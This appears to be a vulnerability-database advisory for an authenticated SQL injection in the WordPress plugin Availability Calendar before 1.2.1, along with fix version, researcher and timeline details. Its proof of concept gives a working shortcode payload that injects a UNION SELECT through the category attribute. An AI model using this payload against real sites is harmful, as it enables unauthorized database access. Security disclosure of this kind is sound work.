WordPress Plugin Vulnerabilities
Availability Calendar < 1.2.1 - Authenticated SQL Injection
Description
The plugin does not escape the category attribute from its shortcode before using it in a SQL statement, leading to a SQL Injection issue, which can be exploited by any user able to add shortcode to posts/pages, such as contributor+
Proof of Concept
With an account role as low as contributor, put the following in a page/post: [availabilitycalendar category="1) UNION select user(),user(),user(),user(),user(),user(),user() -- "]
Affects Plugins
Fixed in 1.2.1 References
CVE
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
xiahao@webray.com.cn inc
Submitter
xiahao@webray.com.cn inc
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-08-04 (about 2 years ago)
Added
2021-08-19 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)
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